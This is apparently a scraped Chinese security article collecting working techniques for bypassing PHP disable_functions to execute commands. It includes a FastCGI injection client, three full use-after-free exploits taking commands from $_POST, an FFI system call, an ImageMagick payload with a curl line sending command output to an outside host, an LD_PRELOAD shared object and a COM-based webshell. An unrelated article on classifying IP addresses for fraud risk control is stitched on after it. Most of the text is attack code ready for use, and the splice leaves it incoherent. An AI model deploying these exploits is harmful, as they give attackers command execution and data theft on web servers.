const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can't multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
/************ config ************/
// your extension directory path
$ext_dir_path = '/tmp/';
// your extension name
$ext_name = 'ant.so';
// unix socket path or tcp host
$connect_path = '127.0.0.1';
// tcp connection port (unix socket: -1)
$port = "9000";
// Don't use this exploit file itself
$filepath = '/var/www/html/index.php';
// your php payload location
$prepend_file_path = '/tmp/1.txt';
/********************************/
$req = '/' . basename($filepath);
$uri = $req;
$client = new FCGIClient($connect_path, $port);
// disable open_basedir and open allow_url_include
$php_value = "allow_url_include = Onnopen_basedir = /nauto_prepend_file = " . $prepend_file_path;
$php_admin_value = "extension_dir=" . $ext_dir_path . "nextension=" . $ext_name;
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'GET',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
'PHP_VALUE' => $php_value,
'PHP_ADMIN_VALUE' => $php_admin_value,
'SERVER_SOFTWARE' => 'kaibro-fastcgi-rce',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
);
// print_r($_REQUEST);
// print_r($params);
echo "Call: $urinn";
echo $client->request($params, NULL);
?>
## Json Serializer UAF
利用json序列化中的堆溢出触发，借以绕过disable_function，影响范围是:
7.1 – all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)
<?php
# Author: https://github.com/mm0r1
$cmd = $_POST["pass"];
$n_alloc = 10; # increase this value if you get segfaults
class MySplFixedArray extends SplFixedArray {
public static $leak;
}
class Z implements JsonSerializable {
public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
public function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
public function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
# unable to leak ro segments
public function leak1($addr) {
global $spl1;
$this->write($this->abc, 8, $addr - 0x10);
return strlen(get_class($spl1));
}
# the real deal
public function leak2($addr, $p = 0, $s = 8) {
global $spl1, $fake_tbl_off;
# fake reference zval
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)
$leak = strlen($spl1::$leak);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
public function parse_elf($base) {
$e_type = $this->leak2($base, 0x10, 2);
$e_phoff = $this->leak2($base, 0x20);
$e_phentsize = $this->leak2($base, 0x36, 2);
$e_phnum = $this->leak2($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = $this->leak2($header, 0, 4);
$p_flags = $this->leak2($header, 4, 4);
$p_vaddr = $this->leak2($header, 0x10);
$p_memsz = $this->leak2($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
public function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = $this->leak2($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = $this->leak2($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
public function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = $this->leak2($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
public function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->leak2($addr);
$f_name = $this->leak2($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return $this->leak2($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
public function jsonSerialize() {
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = new DateInterval('PT1S');
$room = [];
for($i = 0; $i < $n_alloc; $i++)
$room[] = new Z();
$_protector = $this->ptr2str(0, 78);
$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');
unset($y[0]);
unset($p);
$protector = ".$_protector";
$x = new DateInterval('PT1S');
$x->d = 0x2000;
$x->h = 0xdeadbeef;
# $this->abc is now of size 0x2000
if($this->str2ptr($this->abc) != 0xdeadbeef) {
die('UAF failed.');
}
$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();
# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;
# create a fake class_entry
$fake_obj = $abc_addr;
$this->write($this->abc, 0, 2); # type
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry
# copy some of class_entry definition
for($i = 0; $i < 16; $i++) {
$this->write($this->abc, 0x10 + $i * 8,
$this->leak1($class_entry + 0x10 + $i * 8));
}
# fake static members table
$fake_tbl_off = 0x70 * 4 - 16;
$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);
# fake zval_reference
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)
# look for binary base
$binary_leak = $this->leak2($handlers + 0x10);
if(!($base = $this->get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
# parse elf header
if(!($elf = $this->parse_elf($base))) {
die("Couldn't parse ELF");
}
# get basic_functions address
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
# find system entry
if(!($zif_system = $this->get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# copy hashtable offsetGet bucket
$fake_bkt_off = 0x70 * 5 - 16;
$function_data = $this->str2ptr($this->abc, 0x50);
for($i = 0; $i < 4; $i++) {
$this->write($this->abc, $fake_bkt_off + $i * 8,
$this->leak2($function_data + 0x40 * 4, $i * 8));
}
# create a fake bucket
$fake_bkt_addr = $abc_addr + $fake_bkt_off;
$this->write($this->abc, 0x50, $fake_bkt_addr);
for($i = 0; $i < 3; $i++) {
$this->write($this->abc, 0x58 + $i * 4, 1, 4);
}
# copy bucket zval
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
for($i = 0; $i < 12; $i++) {
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
$this->leak2($function_zval, $i * 8));
}
# pwn
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);
$spl1->offsetGet($cmd);
exit();
}
}
$y = [new Z()];
json_encode([&$y]);
通过蚁剑或者PHP的file_put_contents写入之后，运行即可执行命令
## GC UAF
利用的是PHP garbage collector程序中的堆溢出触发，影响范围为7.0-1.3
<?php
# Author: https://github.com/mm0r1
pwn($_POST["pass"]);
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
## Backtrace UAF
影响版本是7.0-7.4
<?php
# Author: https://github.com/mm0r1
pwn($_POST["pass"]);
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
## FFI扩展
php>7.4，开启了FFI扩展ffi.enable=true，我们可以通过FFI来调用C中的system进而达到执行命令的目的
<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami >/tmp/1");
echo file_get_contents("/tmp/1");
@unlink("/tmp/1");
?>
## ImageMagick
imagemagick是一个用于处理图片的程序，如果上传的图片含有攻击代码，在处理时可被远程执行任意代码（CVE-2016–3714）
题目环境：<https://github.com/Medicean/VulApps/tree/master/i/imagemagick/1>
poc.png
push graphic-context
viewbox 0 0 640 480
fill 'url(https://test.com/"|whoami")'
pop graphic-context
exp.php
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'curl xx.xx.xx.xx:9962/`whoami`';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("test.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('test.mvg');
$thumb->writeImage('test.png');
$thumb->clear();
$thumb->destroy();
unlink("test.mvg");
unlink("test.png");
?>
另外，利用putenv+Imagick bypass disable_function，TCTF Wallbreaker_Easy
test.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("id > /tmp/79e3f0b59df431154c088db7e45ebe6b/id");
}
生成exploit.so使用copy上传，再上传test.mov
gcc -c -fPIC test.c -o exploit && gcc --share exploit -o exploit.so
利用Imagick启用新的子进程，执行：
backdoor=putenv("LD_PRELOAD=/tmp/79e3f0b59df431154c088db7e45ebe6b/exploit.so");
$mov = new Imagick("/tmp/79e3f0b59df431154c088db7e45ebe6b/test.mov");
读取执行命令后的内容
backdoor=readfile("/tmp/79e3f0b59df431154c088db7e45ebe6b/id");
## COM组件
window下的组件，开启组件（php5.4以上），开启com.allow_dcom =
true，添加extension=php_com_dotnet.dll
exp.php
<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
## 参考
<https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD>
<https://evi1.cn/post/bypass_disable_func/>
<https://www.anquanke.com/post/id/195686#h3-3>
<https://github.com/l3m0n/Bypass_Disable_functions_Shell>
<https://github.com/mm0r1/exploits>
<https://github.com/AntSwordProject/ant_php_extension>
<https://github.com/w181496/FuckFastcgi/blob/master/index.php>
<https://skysec.top/2019/03/25/2019-0CTF-Web-WriteUp/> | 社区文章 |
关于IP的所有研究，都可以归结到三个问题上：
1、这个IP在哪儿？
2、这个IP是什么？
3、这个IP干了什么？
[关于IP，这里有你想知道的一切！(上篇)](http://mp.weixin.qq.com/s?__biz=MzA4MjI2MTcwMw==&mid=2650485704&idx=1&sn=a34cb411701008ed13b1042ba549d341&chksm=8787f060b0f0797642628a9bba9f4ea5f713f4bb8b0347a69630938c333ca6ee3ce46ca470a3&scene=21#wechat_redirect)
上一篇中，我们介绍了关于IP地址定位的方法，给出了第一个问题的答案。
前面的文章里，提到了国内的一个数据库，能够给出部分IP地址的精确定位，可以定位到某个学校、酒店甚至网吧。
虽然这份依靠人海战术堆积起来的IP地址库在准确性和时效性上无法满足业务需求，但它也反映出了我们对IP地址研究的期望。我们除了想要知道这个IP的精确位置，我们也希望能够知道IP属主或者类别的信息。
这一篇里，我们就来好好聊一聊这个话题。
**这个IP是什么？**
数据分析从来都不是盲目的。在开始之前，我们需要事先确定把IP地址划分为哪些类型。
网吧、酒店、学校、商场、企业，这种分类实际上是IP属主的类别划分。在不能准确判断IP属主的情况下，这样分类显然是不合适的。
从风控的角度看，我们对IP进行分类，实际上是为了能够优化风控规则。同一类的IP，风险往往会相同，就可以使用相同的风控策略。
比如，基站IP下用户数量非常大，这类IP上不能使用过于严苛的频次限制策略。
机房IP，比如阿里云、腾讯云、运营商数据中心等等。一般情况下，机房IP都会对应到某一台服务器上去。如果你发现某个用户是通过机房IP访问的，那么代理/爬虫访问的可能性很大。
此外，小运营商会通过租赁的方式，使用三大运营商的网络基础设施。他们所使用的线路，就会从机房IP列表中进行分配(机房IP是保证上下行带宽的，其他类型的IP，一般下行带宽高于上行带宽。专用出口使用机房的线路，可以保证足够的带宽。)
专用出口的IP，往往出现在机房IP的列表中，在不能准确排除专用出口IP的情况下，决不能轻易把机房IP拉黑。
比如下面的这个，根据网络位置判断，是广州市电信机房的IP。但是这个IP上的用户数量非常大，而且用户全部分布在广西境内。万一把这个IP拉黑了，投诉电话会被打爆的。
但机房恰恰是垃圾注册、刷单行为、代理行为、作弊行为和爬虫最密集的地方。如果能够准确地把专用出口这个类型识别出来，那么剩下的，就是具有较高风险的机房IP了。为此，我们根据IP地址上的用户行为特征、设备类型分布等信息来判断识别专用出口IP。
能否通过更多的用户特征来区分其他类型的IP呢？比如，判断一个IP是企业还是家用的宽带。
网吧、酒店、学校、商场、企业等等，这些类别，其实都是IP行为位置分析过程中的副产品。如果一个IP能够精确地定位到某一幢建筑物上，我们只需要判断这个建筑物是什么，就能得出结论。
一般的，企业的网络会使用专线，IP在很长的时间里都不会发生变化。随着定位数据的积累，行为位置就会呈现出密集性。
比如下面的这个IP：
定位点在途牛大厦附近聚集，可以确定这是途牛使用的一个固定IP。与之对应的，我们可以判断，通过这个IP上网的人，应该是途牛的员工。
对于一般的家用宽带，虽然IP会频繁变化，但是在特定的一段时间里，IP会固定的出现在某个区域。
举个例子：
这个IP的定位点并没有像前面的例子那样在某一幢建筑物周围聚集，而是随机地分布在南昌市东湖区靠北的一片区域里。这是一个比较典型的家用宽带IP。
但IP只是业务系统的承载，IP定位的分布，会因为实际的业务而呈现出的聚集形式有非常大的差异。单纯通过定位信息的聚类分析，并不能满足所有IP地址的分类需求。
比如，中国邮政储蓄在某市的营业网点，使用专用线路，IP地址固定。每一个定位点的聚簇，都对应一个营业网点。
这个IP下的用户，除了营业网点的工作人员之外，还会有大量到营业厅办理业务的用户。
如果拥有足够的定位数据作为支撑，理论上是可以准确判断这些IP的属主的。
但是这种分析方法要求定位信息有比较高的准确性、时效性和数量级，可不是每家公司都有能力去尝试。
而且，中国范围内共有2.5亿活跃IP，一个月的时间里，平均每个IP会关联上万定位信息，然后做聚类分析。
这个数量级，光想想就觉得可怕......应该有更简单的办法才对。
为了讲解地更通俗易懂，这里援引《死亡笔记》中的一个片段。
根据作案时间的分布，推断出了作案者是一个学生(作者：都是因为老师布置的家庭作业太少了！)
我们分析IP的方法，和L的分析如出一辙。
如果一个IP是对应某家公司，这个IP下的用户行为，就会呈现出非常明显的工作日和工作时间的密集性，大家都是朝九晚五的上班族，都懂得哈~~
那么反过来，晚上6点以后，以及双休、节假日比较活跃的IP，就应该是普通的家用宽带。
此外，不同类型的IP，对应的用户数量会有所差异。
最简单的，一般基站的覆盖范围是3~5公里(可能存在多个基站公用同一个IP的情况)，那么同一时间内，每个基站IP下面的用户数量可能会超过1~10万。而家庭宽带的IP，一般一个IP对应一户人家，人数在10人以内，某些小规模的营业场所，也会使用宽带的方式来提供网络连接，人数也会在100人以内。
根据这些特征，就可以把不同类别的IP逐步区分出来。最终，形成了今天我们同盾IP地址分类的全部：
**总结一下：**
